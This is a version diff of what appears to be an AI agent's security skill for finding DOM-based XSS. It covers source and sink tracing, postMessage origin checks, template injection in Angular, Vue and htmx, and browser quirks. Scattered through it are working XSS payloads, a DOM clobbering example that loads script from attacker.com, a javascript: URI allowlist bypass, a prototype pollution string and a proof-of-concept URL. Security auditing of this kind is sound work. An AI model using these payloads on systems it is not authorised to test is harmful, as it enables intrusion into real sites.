dom-vulnerability-detection · diff
git:20260504.2a64374 to git:20260528.f3e4348
55 added, 150 removed. Audit B to A.
---
name: dom-vulnerability-detection
- description: DOM-based XSS and client-side vulnerability detection for code review and dynamic analysis. USE WHEN auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, testing postMessage handlers, checking URL validation, investigating client-side template injection (AngularJS, Vue.js, htmx), OR identifying attacker-controlled sources and dangerous sinks. Covers source tracing, sink identification, sanitization validation, browser quirks (DOM clobbering, mutation XSS), and framework-specific vulnerabilities.
+ description: DOM-based XSS and client-side vulnerability detection via dynamic analysis — trace attacker-controlled sources to dangerous sinks, audit postMessage handlers, test CSTI in Angular/Vue/htmx, and check for DOM clobbering. Use when auditing JavaScript code, reviewing client-side security, analyzing DOM manipulation, or testing postMessage handlers.
---
- # DynamicDomVulnerabilityDetection
-
- Comprehensive framework for identifying DOM-based cross-site scripting (XSS) and related client-side vulnerabilities during code review and dynamic analysis.
-
- ## Overview
-
- DOM-based vulnerabilities occur when JavaScript reads data from an attacker-controlled source (for example, the URL or a cross-origin message) and sends it to a sink that interprets it as HTML or JavaScript. This skill summarizes the critical concepts and patterns needed to detect and exploit these issues, based on research across multiple security resources.
-
- ## When to Use This Skill
-
- Activate this skill whenever you are asked to:
- * Review JavaScript or HTML for potential cross-site scripting vulnerabilities
- * Assess whether user-controlled data can reach dangerous DOM APIs (innerHTML, document.write, eval, etc.)
- * Audit custom safe-URL helpers or regex filters for URL or input validation
- * Investigate cross-window messaging (postMessage) logic for origin and reference checks
- * Test single-page applications or front-end frameworks (AngularJS, Vue.js, htmx, etc.) for client-side template injection (CSTI)
-
- ## Step-by-Step Analysis Framework
-
- ### 1. Identify Attacker-Controlled Sources
-
- Look for any of the following sources of input. These can carry malicious payloads if not properly sanitised:
-
- * **Location:** `window.location`, `location.search`, `location.hash`, and related properties. Path and fragment data may be used without encoding.
- * **Referrer:** `document.referrer` can contain untrusted data.
- * **Cookies and storage:** Values from `document.cookie`, `localStorage`, etc., may originate from another subdomain or previous XSS.
- * **Window name:** `window.name` is cross-origin writable and readable.
- * **Messages:** Data passed via `postMessage` (the `e.data` property) is arbitrary and untrusted.
-
- Use search tools (Ctrl+Shift+F in DevTools or grep) to find these sources in JavaScript files.
-
- ### 2. Trace the Data Flow
-
- After locating a source, trace each assignment or transformation until you reach a sink. Keep track of variable names as they are reassigned. Use breakpoints in DevTools to inspect variable values at runtime.
-
- ### 3. Locate Dangerous Sinks
-
- Common DOM sinks include:
-
- * **HTML injection:** Assignments to `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML`, calls to `document.write()`, `document.open()` ... `.write()` `.close()`, or jQuery's `.html()` and `.append()`.
- * **URL redirects:** Assigning unvalidated strings to `location`, `location.href`, `location.assign()`, `window.open()`, or setting attribute values such as `element.src` or `element.href`.
- * **Code execution:** Calls to `eval()`, `Function()`, `setTimeout()` or `setInterval()` with string arguments. jQuery's `$()` selector and other library helpers may implicitly call `.innerHTML`.
- * **Template expressions:** AngularJS attributes like `ng-init` and Vue.js interpolation (`{{ ... }}`) interpret input as code.
-
- If user-controlled data flows into any of these sinks, test for XSS by injecting a harmless payload such as `<img src onerror=alert(1)>` for HTML sinks, or `alert(1)` for JavaScript sinks. Remember that `<script>` tags do not execute when added via `.innerHTML`; use event handlers on `<img>` or `<iframe>` instead.
-
- ### 4. Evaluate Sanitisation and Filters
-
- When filters or helpers are used, verify their correctness:
-
- * **Regex validation:** Ensure regular expressions anchor the start of the string (`^`) as well as the end (`$`). A trailing `$` alone allows attackers to prepend arbitrary HTML. Avoid patterns like `/([a-zA-Z0-9]+|\s)+$/` which only constrain the end of the string.
- * **Safe URL functions:** Be cautious of helpers that use `new URL(userInput, location)` and compare `.origin` against `window.location.origin`. If an attacker omits `//` in a URL (`https:example.com`), the relative parser may treat the URL as a local path, whereas the absolute parser will resolve to `https://example.com`. Parse the URL only once and validate both protocol and host.
- * **Type coercion:** Do not trust objects simply because they are not strings. Passing an array with a malicious `toString()` to a URL helper can produce `javascript:` schemes. Always check the type explicitly.
-
- ### 5. Examine Browser Quirks
-
- Be aware of subtle DOM behaviours that can be abused:
-
- * **DOM clobbering:** HTML elements become global variables on `window` via their `id` attribute. An attacker can inject an element like `<img id="CONFIG_SRC" data-url="https://attacker.com/poc.js">` so that `window.CONFIG_SRC.dataset.url` points to a malicious script. Avoid using `window.<id>` to reference elements and use `document.getElementById()` instead.
- * **Race conditions:** When asynchronous functions like `requestIdleCallback()` load dynamic scripts, an attacker may manipulate elements between the check and the use. Ensure checks occur immediately before inserting the script and do not rely on timed order.
- * **Mutation XSS:** Some sanitizers (e.g. DOMPurify) can be bypassed when browsers re-interpret mutated HTML. Test payloads like `<svg><g onload=alert(1)></g></svg>` or unusual Unicode characters.
-
- ### 6. Investigate postMessage Handlers
-
- Cross-window communication via `window.postMessage()` is a common source of client-side vulnerabilities. Follow these steps:
-
- 1. **Enumerate handlers:** Search for `addEventListener('message', ...)` or assignments to `onmessage`. Use browser extensions like postMessage-tracker to log messages.
- 2. **Verify origin checks:** A handler must strictly compare `e.origin` to an exact, whitelisted origin or to `window.location.origin`. Avoid `startsWith()` or `endsWith()` checks; subdomain tricks like `https://example.com.attacker.com` or `anythingexample.com` bypass them. Never compare to `window.origin`; this property can be `'null'` and is easily spoofed.
- 3. **Inspect event.source:** Do not trust window references alone; attackers can hijack nested iframes or produce messages with `e.source=null` by deleting the iframe after sending the message. Always verify both the origin and the expected window reference.
- 4. **Sanitise message data:** Do not call functions based on `e.data`. Attackers can craft structured clone objects (arrays with additional properties) so that `window[data.func](data)` or similar patterns will invoke `setTimeout`, `constructor.constructor`, or other built-in executors. Accept only primitive types or explicitly parse JSON to discard prototype properties.
- 5. **Beware of null origins:** Sandboxed iframes (`<iframe sandbox="... allow-scripts">`) produce messages with `e.origin === 'null'`. Treat these as untrusted even when `window.origin` is also `'null'`.
- 6. **Check ordering in comparisons:** When using helper functions like `isSameOrigin`, ensure you compare the trusted origin against the untrusted one in the correct order. Passing arguments in reverse may inadvertently accept `'null'` origins.
-
- ### 7. Test Front-End Frameworks
-
- Client-side template injection (CSTI) occurs when frameworks interpret user input as template expressions:
-
- * **AngularJS (v1.x):** Attributes like `ng-init` and interpolation `{{constructor.constructor('alert(1)')()}}` execute arbitrary code when within an element that has `ng-app` or `data-ng-app`. Injection is also possible via `data-ng-init` and class-based syntax such as `class="ng-init:constructor.constructor('alert(1)')()"`. Newer Angular versions (v2+) are not vulnerable in this way.
- * **Vue.js:** Within a Vue instance, payloads like `{{this.constructor.constructor('alert(1)')()}}` may execute. Vue also allows event handlers via attributes like `v-on` or `@click`.
- * **htmx:** Attributes such as `hx-on="error:alert(1)"` or malformed attribute names (`hx-trigger="x[1)}),alert(2)//]"`) can break into evaluation.
-
- When reviewing code using a framework, search for places where user input is inserted directly into templates or directive attributes without proper escaping. Test injecting `{{7*7}}` or other harmless expressions to see if the result is evaluated.
-
- ### 8. Perform Dynamic Testing
-
- 1. **Inject markers:** Modify the URL (query string, hash) or other sources with a unique token (e.g. `XSS_TEST`) and observe whether it appears in the DOM. Use DevTools search (Ctrl+F) to locate the token.
- 2. **Trigger events:** If the code uses the hash, load the page normally and then modify `window.location.hash` via JavaScript or by changing the URL.
- 3. **Set breakpoints:** Use DevTools to set breakpoints at points where sources are read or sinks are called. Step through the code to inspect variable values.
- 4. **Try payloads:** Replace the marker with payloads appropriate for the sink. For HTML sinks, `<img src=x onerror=alert(1)>` is a universal payload. For location assignments, use `javascript:alert(1)`. For eval or setTimeout, use plain `alert(1)` or craft arrays with properties as described above.
- 5. **Observe browser differences:** Some browsers encode `location.search` and `location.hash` automatically. Test in multiple browsers if a payload fails.
-
- ## Sources and Sinks Reference
-
- | Category | Examples |
- |----------|----------|
- | **Sources** | `location.search`, `location.hash`, `location.pathname`, `document.referrer`, `document.cookie`, `window.name`, `event.data` in message handlers |
- | **HTML sinks** | `.innerHTML`, `.outerHTML`, `.insertAdjacentHTML()`, `document.write()`, `document.open()/write()/close()`, jQuery's `.html()`, `.append()`, `.attr()` when setting src or href |
- | **Execution sinks** | `eval()`, `Function()`, `setTimeout()/setInterval()` with string input, assignment of `javascript:` URLs to location or `<a href>` attributes |
- | **DOM manipulations** | Creating `<script>` elements with dynamic src, using `document.createElement('iframe')` with user-controlled src, adding dynamic `<link>` or `<style>` elements |
- | **Framework sinks** | AngularJS `ng-init`, `ng-app` expressions; Vue `v-bind`, `v-on` directives; htmx `hx-on`, `hx-trigger` |
+ ## Sources (attacker-controlled input)
+ `location.hash`, `location.search`, `location.href`, `document.URL`, `document.referrer`, `window.name`, `postMessage event.data`, `document.cookie`, `localStorage`/`sessionStorage`
- ## High-Signal Patterns to Watch For
+ ## Sinks (dangerous output)
+ `innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout(string)`, `new Function()`, `location.href=`, `location.assign()`, `element.src=`, `jQuery.html()`, `$.globalEval()`, `v-html`, `ng-bind-html`, `dangerouslySetInnerHTML`
- During code review, prioritise code segments matching these patterns:
+ ## Analysis workflow
- 1. Assignments like `element.innerHTML = userInput` or `document.write(userInput)`. Ask where `userInput` originates.
- 2. Creation of `<script>` tags where the src is derived from user data or a `data-` attribute (`window.CONFIG_SRC.dataset.url`).
- 3. Safe-URL checks comparing `new URL(url, location).origin` to `location.origin` without verifying the scheme and host.
- 4. Use of `match()` or `test()` on user strings with regexes lacking a `^` anchor. Example: `/([a-zA-Z0-9]+|\s)+$/`.
- 5. Calls to `postMessage(message, '*')` and handlers lacking strict `e.origin` checks or using `window.origin`.
- 6. Handlers executing dynamic functions (`window[data.func](data)`, `callbacks[category][name](data)`), or calling `eval(e.data)`.
- 7. Use of `window.<id>` variables (DOM clobbering) or global variables not explicitly declared.
- 8. Framework attributes binding user input directly into template expressions (`{{...}}`, `ng-init`, `v-html`).
+ ### 1. Find sources reaching sinks
+ ```bash
+ # Search for dangerous sinks in JS files
+ grep -rn "innerHTML\|outerHTML\|document\.write\|\.html(" --include="*.js" --include="*.tsx" src/
+ grep -rn "eval(\|setTimeout(\|setInterval(\|new Function(" --include="*.js" src/
- ## Defensive Recommendations
+ # Search for postMessage handlers without origin checks
+ grep -rn "addEventListener.*message" --include="*.js" src/
+ ```
+ If grep finds no sinks, check for dynamically loaded scripts (lazy imports, `document.createElement('script')`) and framework render methods that bypass static grep.
- Advise developers and testers to adopt the following defences:
+ ### 2. Trace data flow
+ For each sink found, trace backwards: does attacker-controlled input reach it?
+ - Direct: `element.innerHTML = location.hash.slice(1)`
+ - Via variable: `const data = getParam('q'); ... el.innerHTML = data`
+ - Via storage: `localStorage.setItem('x', userInput); ... el.innerHTML = localStorage.getItem('x')`
- * **Encode and escape outputs:** Use appropriate context-sensitive encoding functions (HTML encode, attribute encode, JavaScript encode) before inserting data into the DOM.
- * **Use Trusted Types:** Enforce Trusted Types to prevent assignment of unsafe strings to DOM sinks.
- * **Validate URLs strictly:** Parse user URLs once, require explicit schemes (`http://`, `https://`), and check both host and scheme against an allow-list. Reject ambiguous formats like `https:example.com`.
- * **Anchor regex filters:** Use `^` and `$` in patterns and avoid using alternations that can be bypassed by prepending malicious data.
- * **Sanitise message data:** Use structured formats like JSON for messages, and always validate `e.origin`. Never trust `window.origin` or treat `'null'` as trusted.
- * **Avoid global element IDs:** When referencing elements, use `document.getElementById()` or scoped variables instead of relying on the global window object.
- * **Limit dynamic script loading:** Avoid injecting scripts based on untrusted data. If dynamic loading is necessary, apply a strict allow-list of accepted paths or hosts.
- * **Keep sanitizers up to date:** Libraries like DOMPurify should be regularly updated, and you should test for known bypasses (mutation XSS) when filtering user input.
+ ### 3. Check sanitization
+ If sanitization exists, verify it's adequate:
+ - DOMPurify → check version, config (is `ALLOW_UNKNOWN_PROTOCOLS` set?)
+ - Custom sanitizer → see `custom-sanitizer-audit` skill
+ - Framework auto-escaping → verify not bypassed by `v-html`, `dangerouslySetInnerHTML`, `[innerHTML]`
+ If sanitization status is ambiguous, attempt bypass patterns from step 6 before marking safe.
- ## Examples
+ ### 4. Audit postMessage handlers
+ ```javascript
+ // VULNERABLE — no origin check
+ window.addEventListener('message', (e) => {
+ document.getElementById('output').innerHTML = e.data.html;
+ });
- **Example 1: Audit URL parameter handling**
- ```
- User: "Review this JavaScript file for XSS vulnerabilities"
- → Search for location.search, location.hash usage
- → Trace data flow to innerHTML, document.write, or eval sinks
- → Identify missing sanitization and report findings
+ // SAFE — origin validated
+ window.addEventListener('message', (e) => {
+ if (e.origin !== 'https://trusted.com') return;
+ // ... process e.data
+ });
```
- **Example 2: Test postMessage handler security**
- ```
- User: "Check if this postMessage handler is secure"
- → Verify e.origin validation uses strict equality
- → Check for window.origin usage (vulnerable)
- → Test with null origin from sandboxed iframe
- → Report bypasses and recommend fixes
- ```
+ ### 5. Test CSTI (Client-Side Template Injection)
+ - **AngularJS**: Any user input bound to Angular scope and rendered via `ng-bind-html` or `{{ }}` interpolation enables CSTI. If URL params, hash, or form values flow into scope variables that Angular evaluates, inject `{{constructor.constructor('alert(1)')()}}` as the sandbox escape payload. Check: does `$scope.variable = userInput` exist where `variable` appears in an `ng-bind-html` or `{{ variable }}` template? If yes, it is exploitable. The key insight: AngularJS evaluates template expressions in the scope context, so `searchQuery` from `?q=` reaching `{{searchQuery}}` or `ng-bind-html="searchQuery"` is code execution.
+ - **Vue.js**: `v-html` directive bypasses Vue's auto-escaping. If user-controlled data (from API, URL, or form) reaches a `v-html` binding, it renders raw HTML. Safe: `{{ variable }}` (auto-escaped). Dangerous: `v-html="variable"`. Check both paths explicitly.
+ - **htmx**: `hx-get`, `hx-post`, `hx-vals` with user-controlled URLs or values. If URL params populate `hx-get` targets, attacker controls which endpoint htmx fetches from.
- **Example 3: Analyze client-side template injection**
+ ### 6. Check browser quirks and library gadgets
+ - **DOM clobbering**: `<form id="x"><input name="action" value="javascript:alert(1)">` — overwrites `document.x.action`
+ - **Mutation XSS**: HTML that passes sanitizer but mutates in browser DOM — see `dompurify-mxss-bypass` skill
+ - **Prototype pollution**: `__proto__` in URL params or JSON reaching `Object.assign`/spread — e.g. `?__proto__[isAdmin]=true` pollutes `Object.prototype` globally when merged via `Object.assign({}, defaults, urlParams)`
+ - **jQuery .text() entity re-decoding**: `DOMPurify.sanitize(val)` → jQuery `$('<div>'+clean+'</div>').text()` → `innerHTML` = XSS. `.text()` decodes HTML entities that DOMPurify passed through, producing raw tags that innerHTML executes. Also applies to `.val()` and `.textContent` reads.
+ - **moment.js format injection**: If user input controls `moment().format(input)` and output hits innerHTML, square brackets emit content verbatim: `moment().format("[<img src=x onerror=alert(1)>]")`
+ - **javascript: URI parsing**: `new URL("javascript://host:443/path%0aalert(1)")` populates `.hostname`, `.port`, `.pathname` — passes allowlist checks. After `javascript:` scheme is stripped, `//` starts a JS single-line comment; `%0a` newline ends it and trailing code executes. Payload: `javascript://ALLOWED_HOST:443/%0aalert(document.domain)`
+
+ ### 7. Verify exploitability
+ Build a PoC proving attacker-controlled input triggers the sink:
```
- User: "This AngularJS app accepts user input in the URL"
- → Test for ng-init or {{}} injection points
- → Try payload: {{constructor.constructor('alert(1)')()}}
- → Verify if template expressions execute
- → Document CSTI vulnerability and context
+ https://target.com/page#<img src=x onerror=alert(document.domain)>
```
-
- ## References
+ Confirm: payload executes, not just reflected. Check CSP — if blocked, see `csp-bypass` skill.
- * [PortSwigger Web Security Academy – DOM-based XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based)
- * [Practical CTF: Cross-Site Scripting and postMessage Exploitation](https://google.com)
- * Youssef Sammouda – DOM XSS write-ups
- * [Client-Side Security](https://book.jorianwoltjer.com/web/client-side)
- * [XSS Deep Dive](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss)
- * [WebSockets Security](https://book.jorianwoltjer.com/web/client-side/websockets)
+ ## Chain With
+ - `csp-bypass` (CSP blocks execution), `dompurify-mxss-bypass` (DOMPurify present), `dom-vulnerability-static-analysis` (grep-based pre-screening), `aem-sling-exploitation` (AEM-specific XSS gadgets)